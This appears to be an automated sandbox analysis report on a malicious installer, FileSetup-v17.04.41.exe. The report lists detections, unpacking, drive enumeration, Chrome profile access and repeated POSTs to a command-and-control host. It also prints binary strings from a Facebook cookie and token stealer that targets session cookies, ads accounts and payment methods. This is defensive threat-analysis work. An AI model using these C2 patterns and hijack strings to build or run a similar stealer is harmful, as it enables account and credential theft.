Analysis Report FileSetup-v17.04.41.exe

AV Detection:

Multi AV Scanner detection for submitted file

Source: FileSetup-v17.04.41.exe

Virustotal: Detection: 60%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: FileSetup-v17.04.41.exe

Joe Sandbox ML: detected

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 3_2_1001F720 CryptStringToBinaryA,CryptStringToBinaryA,CertCreateCertificateContext,CertOpenStore,CertAddCertificateContextToStore,GetLastError,CertGetCertificateContextProperty,_memset,CertGetCertificateContextProperty,_memset,_memset,_sprintf,_sprintf,CertCloseStore,CertFreeCertificateContext,

3_2_1001F720

Public key (encryption) found

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: -----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDLfprfltmOHTzR+m/YBEdzgxnHwXgNPal/ctcPxx2L3by8pqL9tpgSgEYEeIp+DMIOFvh0gY6/gt7hqXrairRK8XHrlfJJxucOxb54FThG8Apu+IsnhM3AKABV2b3P5PeloDtfi8E0TdADPHr0kgcvS7YUOm7Z/hoSXkJsrwXBOQIDAQAB-----END PUBL		0_2_00412872
Source: FileSetup-v17.04.41.exe	Binary or memory string: -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDLfprfltmOHTzR+m/YBEdzgxnH wXgNPal/ctcPxx2L3by8pqL9tpgSgEYEeIp+DMIOFvh0gY6/gt7hqXrairRK8XHr lfJJxucOxb54FThG8Apu+IsnhM3AKABV2b3P5PeloDtfi8E0TdADPHr0kgcvS7YU Om7Z/hoSXkJsrwXBOQIDAQAB -----END PUBL

Compliance:

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Unpacked PE file: 0.2.FileSetup-v17.04.41.exe.2800000.5.unpack
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Unpacked PE file: 4.2.6852B33702F6B3BD.exe.2740000.5.unpack

Uses 32bit PE files

Source: FileSetup-v17.04.41.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Uses new MSVCR Dlls

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

File opened: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdb source: MiniThunderPlatform.exe.3.dr
Source:	Binary string: c:\Projects\VS2005\EdgeCookiesView\Release\EdgeCookiesView.pdb source: 1611913544586.exe, 00000009.00000000.695223709.000000000040F000.00000002.00020000.sdmp, 1611913544586.exe.3.dr
Source:	Binary string: atl71.pdbT source: atl71.dll.3.dr
Source:	Binary string: msvcr71.pdb\ source: msvcr71.dll.3.dr
Source:	Binary string: atl71.pdb source: atl71.dll.3.dr
Source:	Binary string: cmd_insert_server.icex-conference/x-cooltalk.movievideo/x-sgi-movievideo/x-msvideo.mxuvideo/vnd.mpegurl.qtvideo/quicktimevideo/mpeg.xmltext/xml.etxtext/x-setext.wmlstext/vnd.wap.wmlscript.wmltext/vnd.wap.wml.tsvtext/tab-separated-values.sgmtext/sgml.rtftext/rtf.rtxtext/richtext.txttext/plain.html.csstext/css.mshmodel/mesh.igsmodel/iges.xwdimage/x-xwindowdump.xpmimage/x-xpixmap.xbmimage/x-xbitmap.rgbimage/x-rgb.ppmimage/x-portable-pixmap.bgmimage/x-portable-graymap.pbmimage/x-portable-bitmap.pnmimage/x-portable-anymap.rasimage/x-cmu-raster.wbmpimage/vnd.wap.wbmp.djvimage/vnd.djvu.tiffimage/tiff.pngimage/png.jpgimage/jpeg.iefimage/ief.gifimage/gif.bmpimage/bmp.xyzchemical/x-xyz.pdbchemical/x-pdb.wavaudio/x-wavaudio/x-realaudio.arpmaudio/x-pn-realaudio-pluginaudio/x-pn-realaudio.m3uaudio/x-mpegurl.aifaudio/x-aiffaudio/mpeg.midiaudio/midiapplication/application/zip.xhtmlapplication/xhtml+xml.srcapplication/x-wais-source.ustarapplication/x-ustar.msapplication/x-troff-ms.meapplication/x-troff-me.manapplication/x-troff-man.texiapplication/x-texinfo.texapplication/x-tex.tclapplication/x-tclapplication/x-tar.sv4crcapplication/x-sv4crc.sv4cpioapplication/x-sv4cpio.sitapplication/x-stuffit.swfapplication/x-shockwave-flash.sharapplication/x-shar.shapplication/x-sh.latexapplication/x-latex.jsapplication/x-javascript.hdfapplication/x-hdf.gtarapplication/x-gtar.splapplication/x-futuresplash.dviapplication/x-dvi.cshapplication/x-csh.cpioapplication/x-cpio.pgnapplication/x-chess-pgn.vcdapplication/x-cdlink.bcpioapplication/x-bcpio.wmlscapplication/vnd.wap.wmlscriptc.wmlcapplication/vnd.wap.wmlc.wbxmlapplication/vnd.wap.wbxml.pptapplication/vnd.ms-powerpoint.xlsapplication/vnd.ms-excel.mifapplication/vnd.mif.smiapplication/smil.pdfapplication/pdf.odaapplication/oda.docapplication/msword.cptapplication/mac-compactpro.hqxapplication/mac-binhex40.ezapplication/andrew-inset source: download_engine.dll.3.dr
Source:	Binary string: d:\MiniDownloadLib\branches\bin\Product Release\download_engine.pdb source: download_engine.dll.3.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdbpJ source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdbt source: MiniThunderPlatform.exe.3.dr
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\xldl.pdb source: xldl.dll.3.dr
Source:	Binary string: msvcp71.pdb source: msvcp71.dll.3.dr
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb0 source: dl_peer_id.dll.3.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdb source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp
Source:	Binary string: d:\workspace\xlframework\win32_component\ThunderFW\Release\ThunderFW.pdb source: ThunderFW.exe, 00000018.00000002.759358472.0000000000CFC000.00000002.00020000.sdmp, ThunderFW.exe.3.dr
Source:	Binary string: f:\sys\objfre_win7_amd64\amd64\FsFilter64.pdb source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb source: dl_peer_id.dll.3.dr
Source:	Binary string: e:\KINGSOFT_DUBA\Build\Build_Src\kisengine\kisengine\product\win32\dbginfo\kinst_exe.pdb source: FileSetup-v17.04.41.exe
Source:	Binary string: msvcr71.pdb source: msvcr71.dll.3.dr
Source:	Binary string: d:\BranchAI\launcher\Release\fileLauncher.pdb source: gdiview.msi.0.dr

Spreading:

Checks for available system drives (often done to infect USB drives)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: z:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: x:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: v:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: t:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: r:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: p:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: n:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: l:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: j:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: h:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: f:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: b:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: y:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: w:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: u:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: s:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: q:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: o:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: m:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: k:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: i:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: g:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: e:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: c:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: a:			Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004C2B17 __getdrive,FindFirstFileA,_strlen,_IsRootUNCName,GetDriveTypeA,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,___dtoxmode,GetLastError,FindClose,		0_2_004C2B17
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1001A170 FindFirstFileA,FindClose,		3_2_1001A170

Contains functionality to query local drives

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_0041E22C GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

0_2_0041E22C

Enumerates the file system

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\			Jump to behavior

Networking:

Uses ping.exe to check the status of other devices and networks

Source: unknown

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /info_old/ddd HTTP/1.1Host: 84CFBA021A5A6662.xyzAccept: */*

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: POST //fine/send HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 84Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 93Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 93Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 93Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/e HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 677Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/g HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 1405Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: GET /info_old/r HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /info_old/r HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Host: 84cfba021a5a6662.xyz

Source: global traffic

HTTP traffic detected: GET /info_old/ddd HTTP/1.1Host: 84CFBA021A5A6662.xyzAccept: */*

Found strings which match to known social media urls

Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: "name":"fb_dtsg","value":"name="fb_dtsg" value="Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: nonehttps://www.facebook.com/""2%d0https://graph.facebook.com/me/friends?access_token=%s&pretty=1&limit=1summarytotal_count{}summarytotal_count%dquery_friends.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: count = %d equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: -3https://www.facebook.com/payments/settings/payment_methods/index.php?__a=1errorSummaryconfirmemail.phpcard_type_name-110query_payment2.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: ret = %s equals www.facebook.com (Facebook)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/beauty|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/food|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/health|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/makers|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/movies|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/music|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/parents|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/politics|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/style|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/tech|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/travel|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com/tv|ntpproviders equals www.yahoo.com (Yahoo)
Source: ecv732A.tmp.9.dr	String found in binary or memory: MicrosoftEdge_iecompat:www.yahoo.com|ntpproviders equals www.yahoo.com (Yahoo)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: same-originreferer: https://www.messenger.com/origin: https://www.messenger.comhttps://www.messenger.com/login/nonce/ookie: c_user=ookie: xs=ookie: ;%[^;]; https://m.facebook.com/settings/email/<span class="_52ji _8uk3">accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: noneupgrade-insecure-requests: 1</span></span>@&#064;@&#064;https://m.facebook.com/settings/sms/<strong><span dir="ltr">accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: noneupgrade-insecure-requests: 1</span></span>+ https://m.facebook.com/pages/creation_flow/?step=name&cat_ref_page_id=0&ref_type=launch_point"dtsg":{"token":"accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: noneupgrade-insecure-requests: 1"https://m.facebook.com/pages/create/edit_name/"draftID":Accept: */*Origin: https://m.facebook.comReferer: https://m.facebook.com/pages/creation_flow/?step=name&cat_ref_page_id=0&ref_type=launch_pointSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originX-Requested-With: XMLHttpRequestX-Response-Format: JSONStreampage_name=&m_sess=&fb_dtsg=&jazoest=&__csr=&__req=3&__user=,"https://m.facebook.com/pages/creation_flow/?step=category&draft_id=&cat_ref_page_id=0&extra_data=%7B%22page_name%22%3A%22%22%7D"dtsg":{"token":"accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: https://m.facebook.com/pages/creation_flow/?step=name&cat_ref_page_id=0&ref_type=launch_pointsec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: same-originSec-Fetch-User: ?1upgrade-insecure-requests: 1"https://m.facebook.com/pages/create/edit_category/"pageID":Referer: https://m.facebook.com/pages/creation_flow/?step=category&draft_id=&cat_ref_page_id=0&extra_data=%7B%22page_name%22%3A%22%22%7DAccept: */*Origin: https://m.facebook.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originX-Response-Format: JSONStreamX-Requested-With: XMLHttpRequestpage_category=1300&draft_id=&m_sess=&fb_dtsg=&jazoest=&__csr=&__req=9&__user=}"+ .-_@@friends2page.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: pageid = %s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: bad allocationSOFTWARE\Mozilla\Mozilla FirefoxCurrentVersion\\MainInstall Directory%s\firefox.exe{}[]"1""2""3"123bad allocationc_user=xs=https://www.facebook.com/adsmanager/manage/adshttps://business.facebook.com/adsmanager/manage/adssettings/?act=&access_token:""access_token":""query_token_account_id.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: account_id = %s token =%s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: c_user=xs=https://www.facebook.com/ads/manager/account_settingsaccountID:"access_token:"Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: none""query_token_account_id_laomaozi.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: account_id = %s token =%s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: c_user=xs=https://www.facebook.com/adsmanager/manage/adshttps://business.facebook.com/adsmanager/manage/adswindow.location.replace("")/act___accessToken="Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: nonehttps:act=/\/"%[0-9]query_token_account_id2.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: account_id = %s token =%s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe	String found in binary or memory: e":"13245924524317724","lastpingday":"13245922809830642","location":1,"manifest":{"app":{"launch":{"container":"tab","web_url":"http://www.youtube.com"},"web_content":{"enabled":true,"origin":"http://www.youtube.com"}},"current_locale":"en_GB","default_locale" equals www.youtube.com (Youtube)
Source: 6852B33702F6B3BD.exe	String found in binary or memory: http://www.youtube.com equals www.youtube.com (Youtube)
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700782936.0000000003EC1000.00000004.00000001.sdmp	String found in binary or memory: http://www.youtube.com8` equals www.youtube.com (Youtube)
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/"name="fb_dtsg" value=""logout_hash":"""logout_hash":"logoutToken:""logoutToken:"https://www.facebook.com/comet/try/source=SETTINGS_MENU&nctr[_mod]=pagelet_bluebar&__user=&__a=1&__csr=&__req=14&__beoa=0&__pc=PHASED%3ADEFAULT&dpr=1&__ccg=EXCELLENT&fb_dtsg=&jazoest=for (;;);{https://m.facebook.com/logout.php?h=%s&t=%sc_user=deleted"encrypted":"https://m.facebook.com/?_rdr""name="fb_dtsg" value="logout.phpm_sess=&fb_dtsg=&jazoest=&__csr=&__req=9&__a=&__user=https://m.facebook.com/bookmarks/flyout/body/?id=u_0_6\https://m.facebook.com/logout.php%sc_user=deletedhttps://m.facebook.com/?soft=bookmarks"logoutURL":"\"logout.phphttps://m.facebook.com&source=mtouch_logout_button&persist_locale=1&button_name=logout&button_location=settings%s equals www.facebook.com (Facebook)
